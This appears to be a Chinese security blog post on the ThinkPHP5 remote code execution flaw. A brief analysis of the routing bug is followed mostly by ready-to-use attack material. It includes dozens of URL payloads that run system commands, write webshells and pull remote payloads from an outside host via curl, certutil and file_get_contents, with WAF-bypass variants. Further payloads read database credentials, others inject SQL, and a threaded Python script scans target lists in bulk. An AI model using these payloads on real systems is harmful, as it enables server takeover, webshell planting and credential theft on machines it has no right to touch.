22.ThinkPHP5框架缺陷导致远程命令执行
前言:
昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞
漏洞影响范围:
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
漏洞产生原因:
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在 admin,index 模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。
漏洞分析:
既然是没有正确处理控制器名 $controller ,从最开始获取控制器名的代码来看:
发现在 $controller 中有过滤字符串中的 HTML 标签的strip_tags()函数,网站没有开启强制路由,问题可能出现在路由调度时,来看执行路由调度的代码:
其中使用了 $this->app->controller 的方法来实例化控制器,然后调用实例化中的方法,跟进controller方法:
其中通过 parseModuleAndClass 方法解析出 $module,$class。然后实例化 $class。
着重看一下 parseModuleAndClass 方法:
发现 $name 如果以反斜线\开始时,直接进入第一个if判断,将 $name 直接作为类名,如果可以控制 $name (即路由中的controller部分),那么就可以实例化任何一个类。
回看路由解析代码,其中的 parseUrl 方法调用了 parseUrlPath 方法来解析 $url ,也就是 pathinfo 中的路由信息
来看 parseUrlPath 如何解析 $url :
使用/对 $url 进行分割,未进行任何过滤,其中路由url从path()中获取。
这里 Config::get('var_pathinfo') 是配置文件中的设置的参数,'var_pathinfo' 的默认配置为s,我们可以利用
$_GET['s']来传递路由信息,也可以利用pathinfo来传递,但测试时windows环境会将$_SERVER['pathinfo']中的\
替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method,
这将会实例化\namespace\class并执行method方法。
漏洞复现:
1. 代码执行
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.任意文件写入
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
把一句话 <?php phpinfo()?> 进行url编码:%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3f%3e
写入文件:
尝试访问shell.php:
写入成功!
放出一些payload:
1. /index.php?s=index/\think\Request/input&filter=phpinfo&data=1
2. /index.php?s=index/\think\Request/input&filter=system&data=id
3. /index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4. /index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
9. /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['joker']);&joker=system("whoami");
10. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))
(先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件 而且不带<>)
给出tdcoming大佬批量检测脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: thinkphp远程代码检测
description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
'''
import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
def __init__(self, q):
threading.Thread.__init__(self)
self.q = q
def run(self):
while not self.q.empty():
url=self.q.get()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
vulnurl = url + payload
try:
response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
soup = BeautifulSoup(response.text,"lxml")
if 'PHP Version' in str(soup.text):
print ('[+] Remote code execution vulnerability exists at the target address')
print ('[+] Vulnerability url address ' + vulnurl)
with open('target.txt','a') as f1:
f1.write(vulnurl+'\n')
f1.close()
else:
print ('[-] There is no remote code execution vulnerability in the target address')
except:
print ('[!] Destination address cannot be connected')
def urlget():
with open('url.txt','r')as f:
urls=f.readlines()
for tmp in urls:
if '//' in tmp:
url=tmp.strip('\n')
urlList.append(url)
else:
url='http://'+tmp.strip('\n')
urlList.append(url)
return(urlList)
f.close()
if __name__=="__main__":
print('''----------------扫描开始-------------------
*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN
_______ _ _
|__ __| | | (_)
| | __| | ___ ___ _ __ ___ _ _ __ __ _
| | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \ / _` |
| || (_| || (__| (_) || | | | | || || | | || (_| |
|_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
__/ |
|___/
''')
urlList=[]
urlget()
threads = []
threads_count = 10
q=queue.Queue()
for url in urlList:
q.put(url)
for i in range(threads_count):
threads.append(thinkphp_rce(q))
for i in threads:
i.start()
for i in threads:
i.join()
1、将要检测的目标放在url.txt里面
2、如果存在漏洞的地址将自动生成一个target.txt文本保存
漏洞poc:
https://github.com/heroanswer/thinkphp_rce_poc
-----------------------
于2020.01.20补充
在公众号上发现有人对thinkphp 5.x.x 的漏洞poc进行了总结
Thinkphp 5.0.5
waf对eval进行了拦截
禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
Thinkphp 5.0.11
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
Thinkphp 5.0.14
eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
php7.2
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
写进去发现转义了尖括号
通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
Thinkphp 5.0.18
windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
由于根目录没写权限,所以写到uploads
Thinkphp 5.1.* 和 5.2.* 和 5.0.*
(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
Thinkphp 5.0.10(完整版)
(post)public/index.php?s=index/index/index
(data)s=whoami&_method=__construct&method&filter[]=system
Thinkphp 5.0.21
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
Thinkphp 5.0.22
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
Thinkphp 5.0.23(完整版)
(post)public/index.php?s=captcha
(data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
Thinkphp 5.0.23(完整版)Debug 模式
(post)public/index.php
(data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
Thinkphp 5.1.*
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
Thinkphp 5.1.18
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
Thinkphp 未知版本
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27
index.php?s=/home/user/cut/id/1%27
index.php?s=/home/service/index/id/1%27
index.php?s=/home/pay/chongzhi/orderid/1%27
index.php?s=/home/pay/index/orderid/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/detail/id/1%27
index.php?s=/home/order/cancel/id/1%27
index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#
当 Php7 以上无法使用 Assert 的时候用
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
有上传图片或者日志用这个包含就可以
参考链接:
https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg
http://www.thinkphp.cn/topic/60400.html
http://www.thinkphp.cn/topic/60390.html
https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce